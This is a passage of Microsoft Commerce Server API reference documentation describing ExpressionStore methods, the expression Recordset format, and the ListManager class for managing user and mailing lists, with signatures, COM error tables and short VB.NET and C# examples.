A string that contains the expression name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

[C#] This method returns an int that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H81100003 | Invalid expression name, or expression name not found in store
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x81100003 | Invalid expression name, or expression name not found in store
0x8110000D | No connection string specified

Remarks

Use the GetExprName method to translate the ID of an expression into its corresponding expression name.

Call the Connect method before calling the GetExprID method.

[Visual Basic .NET]

Example

' lExpressionID is an Integer
' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

lExpressionID = oExpressionStore.GetExprID("MyExpression")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression

ExpressionStore.GetExprName

ExpressionStore.RenameExpression


ExpressionStore.GetExprName Method (PIA)

Use this method to translate the ID of an expression into its corresponding expression name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetExprName(
 nExprID As Integer
) As String
[C#]
public string GetExprName(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains a unique expression ID.
[C#]
nExprID
An int that contains a unique expression ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the name of the expression. An empty String is returned if the expression ID is an Integer but does not represent an existing expression in the expression store.

[C#] This method returns a string that contains the name of the expression. On failure, the expression name is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x8110000D | No connection string specified

Remarks

[Visual Basic .NET]

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GetExprName method.

[C#]

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GetExprName method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExprID


ExpressionStore.Import Method (PIA)

Use this method to import expressions from a file into the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Import(
 bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Import(
 string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the path and name of the file from which to import the expressions.
[C#]
bstrFileName
A string that contains the path and name of the file from which to import the expressions.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
&H8110000C | Cannot import to a non-empty store
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified
0x8110000C | Cannot import to a non-empty store

Remarks

The expression store must be empty in order to import expressions.

The import file must contain the XML schema for the expression Recordset followed by the XML representation of each expression Recordset. Expression Recordsets with invalid expression bodies are imported but will cause an error upon evaluation.

Use the Export method to copy the XML schema for the expression Recordset and all the expressions from the expression store to a file.

Call the Connect method before calling the Import method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Import("\SomePath\Expressions.xml")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionStore Class

ExpressionStore.Export


ExpressionStore.NewExpression Method (PIA)

Use this method to return an ADO _Recordset interface to a hierarchical Recordset object that contains an empty expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function NewExpression() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset NewExpression();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains an empty expression.

[C#] This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains an empty expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

Save the newly defined expression to the expression store using the SaveExpression method. The SaveExpression method automatically generates a new, unique expression ID and stores it with the new expression.

Call the Connect method before calling the NewExpression method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.SaveExpression


ExpressionStore.Query Method (PIA)

Use this method to retrieve a _Recordset interface to a Recordset object containing expressions that match the specified query conditions. At least one of the optional arguments must be specified.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Query(
 Optional vName As Object,
 Optional vCategory As Object,
 Optional vProfiles As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset Query(
 object vName,
 object vCategory,
 object vProfiles
);

Parameters

[Visual Basic .NET]
vName
An optional String named to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory
When specified, a String containing the category or System.Array of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vProfiles
When specified, a String containing the profile name or System.Array of profile names to match expressions against. Profile names must be specified without wildcards.
[C#]
vName
When specified, a string name to match expressions against. This is used in an SQL LIKE clause that permits wildcards. Set to Type.Missing in order to not specify a name to match against.
vCategory
When specified, a string containing the category or System.Array of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards. Set to Type.Missing in order to not specify a category to match against.
vProfiles
When specified, a string containing the profile name or System.Array of profile names to match expressions against. Profile names must be specified without wildcards. Set to Type.Missing in order to not specify a profile name to match against.

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the result set of expressions. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns a _Recordset interface to a Recordset object that contains the result set of expressions. On failure, the pointer to the Recordset object will be set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

If a combination of the optional parameters is specified, the retrieved expressions satisfy all constraints (implicit AND applied). For example, if name = "Robert%" and category = "General", only expressions with names starting with "Robert" and with a category of "General" will be returned.

When multiple profile names are specified, the query result includes expressions with profile requirements (dependencies) that include any of the listed profile names (implicit OR applied). Thus, if name = "Robert%" and the profiles "User" and "Context" are specified as profiles, the Query method will return all expressions with names starting with "Robert" and profiles requiring only "User", only "Context", or both "User" and "Context".

For details on the ADO Recordset object that represents the expression, see Expression Recordset.

Call the Connect method before calling the Query method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' rsExpr is a Recordset object that will contain all expressions
' with a name starting with 'Express', having a category of
' Octogenarians' and a profile dependency on 'joeuser'.

rsExpr = oExpressionStore.Query("Express%", "Octogenarians", "joeuser")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect


ExpressionStore.RenameExpression Method (PIA)

Use this method to rename an existing expression in the expression store. The new expression name must be unique or the operation will fail.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub RenameExpression(
 nExprID As Integer,
 strNewName As String
)
[C#]
public void RenameExpression(
 int nExprID,
 string strNewName
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the expression ID.
strNewName
A String that contains the new name.
[C#]
nExprID
An int that contains the expression ID.
strNewName
A string that contains the new name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H81100003 | Invalid expression name
&H81100007 | Duplicate expression name
&H81100005 | The new name exceeds the maximum size of 30 characters
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x81100003 | Invalid expression name
0x81100007 | Duplicate expression name
0x81100005 | The new name exceeds the maximum size of 30 characters
0x8110000D | No connection string specified

Remarks

Use the GetExprID method to translate an expression name to its corresponding expression ID.

Call the Connect method before calling the RenameExpression method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 52997 is a valid expression ID retrieved from the GetExprId method.
oExpressionStore.RenameExpression(52997, "MyNewName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExprID


ExpressionStore.SaveExpression Method (PIA)

Use this method to save a new or modified expression to the expression store. For a new expression, the SaveExpression method automatically generates a unique expression ID and stores it with the expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SaveExpression(
 pRSExpr As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SaveExpression();
[Visual Basic .NET]

Parameters

pRSExpr
The _Recordset interface of a Recordset object that contains the expression.
[C#]

Return Values

This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H81100004 | Invalid or missing expression body
&H8110000A | Invalid expression category specified
&H81100003 | Invalid expression name
&H81100006 | A cycle was detected in the expression dependencies of this expression
&H81100009 | Duplicate expression dependency
&H81100007 | Duplicate expression name
&H81100008 | Duplicate profile dependency
&H8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
&H81100005 | The new name exceeds the maximum size of 30 characters
&H8110000D | No connection string specified
&H81100002 | Expression must have at least one profile dependency to be saved
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x81100004 | Invalid or missing expression body
0x8110000A | Invalid expression category specified
0x81100003 | Invalid expression name
0x81100006 | A cycle was detected in the expression dependencies of this expression
0x81100009 | Duplicate expression dependency
0x81100007 | Duplicate expression name
0x81100008 | Duplicate profile dependency
0x8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
0x81100005 | The new name exceeds the maximum size of 30 characters
0x8110000D | No connection string specified
0x81100002 | Expression must have at least one profile dependency to be saved

Remarks

If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

The ExpressionStore object performs rudimentary checks for expression dependencies when an expression is saved or deleted. This includes any direct references, a test for cyclic referencing, and any references to nonexistent expressions.

Call the Connect method before calling the SaveExpression method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression

ExpressionStore.NewExpression


Expression Recordset (PIA)

An expression is a statement constructed with Boolean and relational operators that is evaluated against the data in a given set of profiles. The part of an expression that is evaluated is stored as an Extended Markup Language (XML) string in the ExprBody field of a Recordset object. Recordset objects are contained in a database known as the Expression Store.

This section contains:

  • Expression Recordset Object. Describes the _Recordset interface of a Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression XML Structures

ExpressionEval Object

ExpressionStore Class


Expression Recordset Object (PIA)

[Visual Basic .NET]

The ExpressionStore object represents expressions and their dependencies using a _Recordset interface of a Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Parent Recordset (PIA)

The fields in the parent Recordset object are shown in the following table.

Field | Type | Requirement | Description
ExprID | Integer | Generated by the SaveExpression method of the ExpressionStore object when a new expression is saved. | Unique identifier for the expression. This is a positive integer.
ExprName | String | Required field supplied by the user. | Unique name of the expression. The following characters are not allowed: ', ", &, \, /, <, and >.
Category | String | Optional field supplied by the user. | Category of the expression. May be used as a filter. The following characters are not allowed: ', ", &, \, /, <, and >.
ExprDesc | String | Optional field supplied by the user. | Description of the expression. Maximum length is 200 characters. The following characters are not allowed: &, <, >
ExprBody | String | Required field supplied by the user. | Extensible Markup Language (XML) body of the recordset. The evaluable expression. Maximum length is 3400 characters. For more information, see Expression XML Structures.
DateCreated | Date | Generated by the system. | Date the recordset was created.
DateModified | Date | Generated by the system. | Date the recordset was last modified.
rsExprDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the expression dependencies of this expression.
rsProfDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the profile type dependencies of this expression.

Expression Dependencies Child Recordset

This Recordset object contains a record for each expression that the parent expression is immediately dependent on. The information does not include nested dependencies. If the parent expression does not depend on any expressions, this recordset may be empty.

The fields in the expression dependencies child Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ExprDep | Integer | Identifier of the dependent expression.

Profile Dependencies Child Recordset

This Recordset object contains a record for each profile this expression is dependent on. The user must populate at least one record when creating a new expression.

The fields in the profile dependencies Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ProfDep | String | Name of the dependent profile.

Remarks (PIA)

The ExprID fields of the two child Recordset objects contain the same value as the ExprID field of the parent Recordset object that is generated when a new expression is saved.

[C#]

The ExpressionStore object represents expressions and their dependencies using an ADO-shaped hierarchical Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Note that in general the ExpressionStore methods actually return the _Recordset interface to the actual Recordset. The Recordset does not implement all the methods that Recordset does, but it implements many. You can use the Recordset directly, or you can cast it to a true Recordset to have all methods available.

ExpressionStore myES = new EspressionStore();

_Recordset myRSI = myES.Query(“socks”, “clothes”, Type.Missing);

//Use the interface for operations …

myRSI.MoveFirst();

//… or cast the interface to a real Recordset and use it

RecordSet myCastRS = (Recordset)myRSI;

myCastRS.MoveNext();


Expression Recordset Example (PIA)

[Visual Basic .NET]

The following examples show two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | “Expression7” | “Hair” | “Brown” | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep
- | -

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | “User”
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | “Expression24” | “Octogenarians” | brown_haired_users_over_80 | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | “Product”
24 | “User”
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"
[C#]

The following examples shows two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | Expression7 | Hair | Brown | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep
- | -

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | User
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | Expression24 | Octogenarians | Brown_haired_users_over_80 | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | Product
24 | User
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"


ListManager Class (PIA)

Use this object to create and manage lists of users for the Profiling System, lists of e-mail addresses for Direct Mailer, lists of segment members for the Predictor resource, lists generated from Analysis reports, and lists created from files and SQL queries.

Methods

Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor resource segment.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.

Properties

Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Integer | Stores the current status of the ListManager object. This property is read-only.

Remarks

ListManager has functionality to manipulate two types of lists, Generic and Mailing. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic depending on when the data is imported.

A Generic list may have any set of column names and types — it essentially maps to an SQL table.

A Mailing list is a list for use with Direct Mailer. It contains a list of recipients to receive mail or a list of recipients who are opted out of a mailing. Each mailing list has its own table.

The following table shows the columns of a Mailing list table.

Field | Type | Description
rcp_email | NVARCHAR [256] | E-mail address of the recipient.
rcp_guid | NVARCHAR [64] | (Optional) User ID. Usually a GUID which is a key to the profile of the user.
rcp_fmt | smallint | (Optional) Message format flag. Legal values are: 1 - TEXT 2 - MIME 3 - MHTML
rcp_locale | NVARCHAR[20] | (Optional) Preferred character set of the recipient. See DirectMailer specifications for details.
rcp_url | NVARCHAR[2084] | (Optional) URL used for retrieving personalized content for the user.

A Mailable list is any list with an rcp_email column.

A User list is any list with an rcp_guid column.

In a static list, records are imported at the time the list is created.

A dynamic list imports records on demand when referenced by another operation.

ListManager can import lists from the following sources:

  • An SQL query run against an ODBC data source
  • An Analysis report run from Business Desk
  • A Predictor resource segment
  • A text file in comma-separated values (CSV) format

ListManager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database
  • A text file (CSV format)

ListManager allows time-consuming operations to run in an asynchronous manner wherein the operation returns immediately after the process has started and assigns an operation ID that can be used to access the operation.

ListManager stores information about lists and operations in the lm_master and lm_master_operations tables, respectively.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)


ListManager Methods (PIA)

Methods

Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor resource segment.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.


ListManager.AddUserToMailingList Method (PIA)

Use this method to add a user record to a Mailing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub AddUserToMailingList(
  listID As Object,
  UserEmail As Object,
  Optional UserGUID As Object,
  Optional UserFmt As Object,
  Optional UserLocale As Object,
  Optional UserUrl As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void AddUserToMailingList(
  object listID,
  object UserEmail,
  object UserGUID,
  object UserFmt,
  object UserLocale,
  object UserUrl
);

Parameters

[Visual Basic .NET]
listID
An Object that contains ID or name of the list.
UserEmail
An Object that contains the e-mail address of the user.
UserGUID
An optional Object that contains the ID of the user (usually a GUID).
UserFmt
An optional Object that contains the message format flag. See the Remarks section for more information.
UserLocale
An optional Object that contains the preferred character set of the user.
UserUrl
An optional Object that contains a URL used for retrieving personalized content for the user.
[C#]
listID
An object that contains the ID or name of the list.
UserEmail
An object that contains the e-mail address of the user.
UserGUID
An object that contains the ID of the user (usually a GUID).
UserFmt
An object that contains the message format flag. See the Remarks section for more information.
UserLocale
An object that contains the preferred character set of the user.
UserUrl
An object that contains a URL used for retrieving personalized content for the user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400019 | The operation requires a static list and the specified list is dynamic.
&H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.

Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400019 | The operation requires a static list and the specified list is dynamic.
0x8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The UserFmt parameter specifies the format of a message used by Direct Mailer. The possible values are: text (1), MIME (2), and MHTML (3).

To specify that one or more of the fields should be inserted as Null, pass DBNull.Value as the parameter(s).

[Visual Basic .NET]

Example

oListManager.AddUserToMailingList ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "JaneUser@somewhere.com", "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 2, 1033, DBNull.Value)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CancelOperation Method (PIA)

Use this method to cancel the specified ListManager operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub CancelOperation(
 varOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void CancelOperation(
 object varOpID
);

Parameters

[Visual Basic .NET]
varOpID
An Object that specifies the Operation ID of the operation to be cancelled.
[C#]
varOpID
An object that specifies the Operation ID of the operation to be cancelled.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400004 | The operation ID does not represent a currently running operation.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400004 | The operation ID does not represent a currently running operation.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Copy Method (PIA)

Use this method to copy an existing list over another existing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Copy(
 srcList As Object,
 resList As Object,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Copy(
 object srcList,
 object resList,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the source list.
resList
An Object that contains the ID or name of the result list.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
srcList
An object that contains the ID or name of the source list.
resList
An object that contains the ID or name of the result list.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40001C | Cannot copy a list over itself.
